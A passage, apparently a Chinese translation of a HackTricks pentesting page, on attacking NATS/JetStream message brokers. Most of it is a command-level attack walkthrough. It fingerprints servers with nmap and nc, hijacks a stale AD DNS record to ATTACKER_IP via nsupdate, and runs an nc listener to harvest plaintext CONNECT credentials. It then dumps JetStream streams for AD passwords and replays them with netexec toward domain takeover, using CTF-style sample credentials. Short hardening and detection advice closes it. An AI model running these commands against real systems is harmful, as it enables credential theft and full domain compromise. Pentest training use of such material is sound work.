4222 - Pentesting NATS / JetStream
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
基本信息
NATS 是一个高性能的消息总线,使用简单的文本协议:服务器在 TCP 连接后立即发送 INFO { ... } JSON 横幅,客户端会回复 CONNECT {"user":"USERNAME","pass":"PASSWORD",...} 帧,随后可选地发送 PING/PUB/SUB 命令。JetStream 在相同的 TCP 端口(4222/tcp)上增加了持久化原语(Streams & Consumers)。TLS 和认证是可选的,因此许多内部部署运行 plaintext AUTH。
- 默认端口: 4222/tcp (4223+ for clustered routes)
- 默认横幅字段:
"version","auth_required","jetstream","max_payload","tls_required"
枚举
Banner grabbing / service probes
nmap -p4222 -sV --script banner TARGET
# Sample output
# 4222/tcp open nats NATS.io gnatsd 2.11.3
# | banner: INFO {"server_id":"NDo...","version":"2.11.3","proto":1,"auth_required":true,"jetstream":true,"max_payload":1048576}
INFO frame 也可以手动拉取:
echo | nc HOST 4222
INFO {"server_id":"NCLWJ...","version":"2.11.3","auth_required":true,"jetstream":true}
-ERR 'Authorization Violation'
安装官方 CLI (Go ≥1.21) 以进行更深入的交互:
go install github.com/nats-io/natscli/nats@latest
nats -s nats://HOST:4222 rtt
身份验证失败会立即触发 nats: Authorization Violation,因此任何有意义的 RPC 都需要有效的凭据。
通过 DNS/服务冒充 捕获凭据
- 识别 broker 主机名的陈旧 AD DNS 条目(例如
nats-svc.domain.local)。如果该记录返回NXDOMAIN,低权限域用户可以利用默认的 dynamic-update ACLs 重新创建它。有关背景,请参阅 AD DNS Records abuse。 - 将该主机名注册到攻击者控制的 IP:
nsupdate
> server DC_IP
> update add nats-svc.domain.local 60 A ATTACKER_IP
> send
- 将合法横幅镜像一次,然后对每个连接的客户端重放。NATS 信任它看到的第一行
INFO,因此我们只需通过一个监听器将其管道传递即可:
nc REAL_NATS 4222 | head -1 | nc -lnvp 4222
- 一旦内部客户端解析被劫持的名称,它就会发送一个明文的
CONNECT帧,包含user/pass对以及各种遥测信息(客户端名称、Go 版本、协议级别)。由于 INFO banner 之后的内容并非必需,甚至使用nc就足以收集这些秘密。 - 对于较长的工作,建议在本地运行官方服务器(
git clone https://github.com/nats-io/nats-server && go build && ./nats-server -V)。TRACE 日志已经会显示用户名;移除 redaction helper 或使用 Wireshark 抓包可以暴露完整的 password。
JetStream looting & password hunting
一旦恢复到任何凭证(例如 Dev_Account_A),将其存为 CLI 上下文以避免重复输入:
nats context add mirage -s nats://dc01.mirage.htb --user Dev_Account_A --password 'hx5h7F5554fP@1337!'
JetStream 发现通常遵循以下模式:
nats account info --context mirage # quotas, stream count, expiration
nats stream list --context mirage # names + message totals
nats stream info auth_logs --context mirage
nats stream view auth_logs --context mirage
流处理团队经常将身份验证事件记录到诸如 logs.auth 的主题。如果开发人员将原始 JSON 持久化到 JetStream 流中,负载可能包含明文的 AD 用户名和密码:
{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}
保留的 secrets 然后可以使用 netexec smb DC01 -u USER -p PASS -k 对仅使用 Kerberos 的服务进行重放,从而实现对整个域的完全控制。
加固与检测
- Enforce TLS (
tls,tls_required, or mTLS viankey/creds)。未加密时,INFO/CONNECT leaks credentials 给任何 on-path 的人。 - Pinpoint who can update DNS – 将 service records 委派给专用账户,并对高价值主机名审核 Event IDs 257/252。结合 scavenging alerts,以避免缺失的 broker 名称被悄然重新认领。
- Disable credential logging。在向 subjects 发布前清理 secrets,设置 JetStream retention/age limits,并且仅对受信任的操作员应用
deny_delete=false。 - Monitor for banner anomalies – 反复出现的短期连接、authentication timeouts,或与受信任模板不匹配的 INFO banners 都可能表明服务器被 spoofed。
参考
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
HackTricks

